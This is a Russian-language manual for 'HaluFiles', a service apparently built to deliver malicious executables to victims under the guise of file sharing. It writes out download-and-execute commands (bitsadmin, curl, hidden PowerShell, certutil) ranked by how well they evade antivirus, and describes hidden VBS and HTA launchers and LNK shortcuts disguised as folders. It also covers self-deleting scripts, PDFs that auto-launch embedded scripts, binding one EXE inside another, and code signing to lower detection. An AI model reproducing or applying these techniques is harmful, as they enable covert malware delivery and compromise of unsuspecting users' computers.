Руководство

Как пользоваться HaluFiles

Полная инструкция: загрузка EXE, все методы подгрузки, PDF-трюки, HTA/LNK, BAT/VBS, API.

Обзор

HaluFiles — файлообменник с упором на доставку EXE-файлов через Windows. Загружаете файл, получаете ссылку, отправляете клиенту. При открытии ссылки файл скачивается автоматически.

  • Любые форматы: EXE, ZIP, PDF и др. — до 500 MB
  • Несколько способов запустить EXE на стороне клиента без лишних вопросов
  • Сшивка PDF с EXE, BAT, HTA, LNK — всё в одном файле
  • Генерация BAT/VBS/HTA/LNK прямо из интерфейса по одной кнопке

Загрузка EXE / любого файла

  1. Главная страница → вкладка «1 — Загрузить файл».
  2. Перетащите файл или нажмите для выбора с диска.
  3. Нажмите «Загрузить и получить ссылку».
  4. Скопируйте ссылку /d/<id> и отправьте.

Файл хранится как есть. Имя на диске клиента совпадает с именем при загрузке.

Методы подгрузки EXE — полный разбор

Это центральная тема. Все методы ниже реализованы в генераторе BAT/HTA. В режиме auto они выполняются по очереди сверху вниз — если первый не сработал, пробуется следующий.

★ Топ

BITS — bitsadmin

Что это: Background Intelligent Transfer Service — системная служба Windows, через которую работает Windows Update. Именно BITS качает обновления от Microsoft.

Почему лучший: Антивирусы и SmartScreen не трогают его по определению — это доверенный системный процесс svchost.exe. Никакого PowerShell, никакого certutil.

bitsadmin /create "job"
bitsadmin /addfile "job" "https://..." "C:\path\file.exe"
bitsadmin /setcustomheaders "job" "User-Agent: Mozilla/5.0 ..."
bitsadmin /resume "job"
bitsadmin /complete "job"
  • ✅ Встроен в Windows XP+, работает везде
  • ✅ Не требует прав администратора
  • ✅ AV/SmartScreen не реагируют
  • ✅ Фоновая закачка — не блокирует консоль
  • ⚠️ На некоторых корпоративных машинах служба BITS отключена политикой
  • ⚠️ /setcustomheaders работает только на Windows 8+, на XP/7 игнорируется (загрузка всё равно идёт)
✓ Хороший

curl

Что это: Встроенный в Windows 10 (1803+) инструмент командной строки для HTTP-запросов.

curl -fsSL --retry 2 -A "Mozilla/5.0 ..." -o "file.exe" "https://..."
  • ✅ Минимальные сигнатуры, curl — легитимный сетевой инструмент
  • ✅ User-Agent выставляется одной флагом -A
  • --retry 2 имитирует нормальное браузерное поведение
  • ⚠️ Нет на Windows 7 и старых сборках Windows 10
~ Нейтральный

PowerShell — WebClient

Что это: PowerShell с классом System.Net.WebClient вместо популярного Invoke-WebRequest.

powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `
  "$c = [System.Net.WebClient]::new(); `
   $c.Headers['User-Agent'] = '...'; `
   $c.DownloadFile('https://...', 'file.exe')"
  • ✅ Работает на Windows 7+
  • WebClient менее известная сигнатура чем Invoke-WebRequest
  • ✅ Без флага -ExecutionPolicy Bypass (который сразу триггерит AV)
  • ⚠️ PowerShell сам по себе под наблюдением у многих AV
  • ⚠️ -WindowStyle Hidden — слабый триггер у некоторых эвристик
⚠ Слабый

certutil

Что это: Утилита для работы с сертификатами, которую давно используют для загрузки файлов через флаг -urlcache.

certutil -urlcache -split -f "https://..." "file.exe"
  • ✅ Работает на Windows Vista+
  • ✅ Не требует ничего дополнительного
  • ❌ Один из самых известных LOLBIN-методов — AV мониторит активно
  • ❌ Microsoft Defender фиксирует в журнале событий
  • ❌ Оставляет кэш в %APPDATA%\...\CryptnetUrlCache

В режиме auto используется последним — только если все остальные не сработали.

BAT / VBS загрузчик

Вкладка «5 — Скрипт .bat». Генерирует готовый .bat для Windows, который скачает нужный файл с сервера и запустит его.

Как работает

  1. Клиент кладёт .bat куда угодно и запускает двойным кликом.
  2. BAT качает EXE методами BITS → curl → PowerShell → certutil (по очереди до первого успеха).
  3. Проверяет SHA-256 скачанного файла.
  4. Запускает EXE (если включена опция «запустить после скачивания»).

Опции

  • Метод загрузки — auto / bits / curl / powershell / certutil
  • VBS-режим — обёртка, которая запускает BAT скрыто (без чёрного окна), показывает всплывающее «Setup is running…»
  • Самоудаление — BAT удаляет себя после успеха через schtasks
  • Время жизни ссылки — подписанный URL живёт 1 ч / 6 ч / 24 ч / 7 дней

VBS — режим без окна

Включите галочку «Скрытый режим (VBS)» — сервер создаёт два файла: .bat (логика) и .vbs (тихий запуск). Отправляйте ссылку именно на VBS.

VBS использует Shell.Application.ShellExecute вместо WScript.Shell.Run — менее подозрительная связка для AV.

API: POST /api/generate-bat

{"file_id": "...", "run_after": true, "download_method": "auto",
 "include_vbs": false, "self_delete": false, "url_ttl": 3600}

HTA / LNK — альтернативные лаунчеры

Вкладка «6 — HTA / LNK». Три варианта:

HTA автономный (рекомендуется)

HTML Application — файл с расширением .hta, запускается через системный mshta.exe. Выглядит как веб-страница. Скачивает EXE сам, без BAT.

  • ✅ Один файл — клиенту проще
  • ✅ Загружает через System.Net.WebClient — тот же механизм что и bat/vbs
  • ✅ Окно невидимо: resizeTo(0,0) + moveTo(-2000,-2000)
  • ✅ COM-строки разбиты на части — статические сканеры не матчатся
  • ⚠️ mshta.exe сам по себе LOLBIN, некоторые корпоративные политики блокируют

HTA + BAT

HTA запускает соседний .bat. Оба файла должны лежать в одной папке.

  • Полезно когда BAT уже подготовлен отдельно
  • Сервер генерирует оба файла, выдаёт ссылки на каждый

LNK + BAT

Ярлык Windows (.lnk) с иконкой папки. Клиент видит что-то вроде «Setup» с иконкой проводника. При клике запускает cmd.exe /c bat_name с ShowCommand=7 (скрытое окно).

  • ✅ Иконка выглядит как папка — нейтрально
  • ✅ LNK это нативный формат Windows, не скрипт
  • ✅ Бинарный формат по MS-SHLLINK — не текст, статические сканеры видят меньше
  • ⚠️ Нужны оба файла рядом: .lnk и .bat

API: POST /api/generate-hta и POST /api/generate-lnk

PDF + EXE (вложение)

Вкладка «2 — PDF + EXE». PDF-документ со спрятанными EXE внутри. Клиент получает PDF, открывает — видит документ. EXE доступны как вложения.

  1. Слева — PDF или скриншот (PNG/JPG, конвертируется автоматически).
  2. Справа — один или несколько EXE (Ctrl/Cmd для множественного выбора).
  3. «Сшить и получить ссылку».

До 20 EXE за раз. Водяной знак и обфускация — в Admin → PDF.

API: POST /api/stitch — поля pdf и exe (повторяемое).

PDF + BAT / VBS / HTA / LNK (автозапуск)

Вкладка «3 — PDF + BAT». Скрипт вшивается в PDF как вложение. При открытии в Adobe Acrobat/Reader на Windows — PDF JavaScript (exportDataObject) извлекает скрипт во временную папку и запускает.

Какие типы поддерживаются

ТипЧто происходит при открытии PDFГде работает
.bat / .cmdAcrobat запускает CMD с BATAdobe Reader, Windows
.vbsAcrobat запускает wscript.exeAdobe Reader, Windows
.htaAcrobat запускает mshta.exeAdobe Reader, Windows
.lnkAcrobat передаёт Shell ExecuteAdobe Reader, Windows

Важно

  • Браузерный PDF-просмотр (Chrome, Firefox, Edge) — не работает. Нужен настольный Adobe Acrobat/Reader.
  • Acrobat покажет диалог «This document is trying to launch a file…» — пользователь должен нажать OK. Это защита Adobe, обойти нельзя.
  • До 10 скриптов за одну сшивку.

API: POST /api/stitch-bat (только .bat/.cmd) или POST /api/stitch-script (любой тип из списка выше).

EXE в EXE

Вкладка «4 — EXE в EXE». Упаковка одного EXE (payload) внутрь другого (host). Результат — один файл.

  • inner — при запуске стартует только payload
  • host — только внешний EXE
  • both — сначала host, потом inner

Если собран launcher stub (assets/pack_launcher.exe) — он выполняет распаковку из себя. Без stub — overlay-привязка (host + inner + footer с метаданными).

Важно: подписывайте уже готовый упакованный EXE. Любая пересборка сбрасывает подпись.

API: POST /api/pack-exe — поля host, inner, run_mode, use_launcher.

Цифровая подпись (Code Signing)

Подпись Authenticode от доверенного CA (Sectigo, DigiCert, GlobalSign) снижает срабатывания AV и SmartScreen.

Что нужно

  • Сертификат Code Signing OV или EV. EV быстрее строит репутацию SmartScreen, но дороже и требует USB-токен.
  • Файл .pfx / .p12 и пароль.
  • Windows + Windows SDK (signtool.exe).

Порядок

  1. Собрали финальный EXE (упакованный, если нужно).
  2. Подписали — последним шагом, до загрузки.
  3. Загрузили уже подписанный файл на HaluFiles.

Скрипт

$env:CODE_SIGN_PFX = "C:\certs\codesign.pfx"
$env:CODE_SIGN_PASSWORD = "пароль"
.\scripts\sign-exe.ps1 -Path "C:\build\app_packed.exe"

Timestamp — Sectigo (http://timestamp.sectigo.com). Подпись остаётся действительной после истечения сертификата.

Проверка

  • ПКМ по файлу → Свойства → «Цифровые подписи»
  • signtool verify /pa /v app.exe

Режимы скачивания

Admin → «Автоскачка»:

  • auto — страница открывается, файл качается сам через iframe
  • button — страница с кнопкой «Скачать»
  • direct — сразу редирект на /f/id
  • redirect — редирект на внешний URL без скачивания
  • redirect_after — скачивание, затем редирект на внешний сайт

Админка

URL: /admin. Пароль по умолчанию: halluka05 (или ADMIN_PASSWORD через переменную окружения).

  • Домен — базовый хост для share-ссылок
  • Автоскачка — режим, задержка, тексты лендинга
  • Редирект — URL для режимов redirect / redirect_after
  • PDF — водяной знак, обфускация, демо
  • Файлы — список файлов, удаление

API

Все эндпоинты на том же хосте. Ответы — JSON.

POST /api/upload

multipart/form-data, поле file.

POST /api/stitch

PDF + EXE. Поля: pdf, exe (повторяемое, до 20).

POST /api/stitch-bat

PDF + BAT/CMD. Поля: pdf, bat (повторяемое, до 10).

POST /api/stitch-script

PDF + любой скрипт (.bat/.cmd/.vbs/.hta/.lnk). Поля: pdf, script (повторяемое).

POST /api/pack-exe

Поля: host, inner, run_mode (inner|host|both), use_launcher (0|1).

POST /api/generate-bat

{"file_id":"...","run_after":true,"download_method":"auto",
 "include_vbs":false,"self_delete":false,"url_ttl":3600}

download_method: auto | bits | curl | powershell | certutil

POST /api/generate-hta

{"file_id":"...","run_after":true,"hta_mode":"standalone",
 "include_bat":false,"url_ttl":3600}

hta_mode: standalone (сам качает) | launcher (запускает BAT).

POST /api/generate-lnk

{"file_id":"...","run_after":true,"url_ttl":3600}

Возвращает ссылки на .lnk и сопутствующий .bat.

GET /api/files

Список всех файлов на сервере.

GET /health

Проверка: {"status":"ok","time":"..."}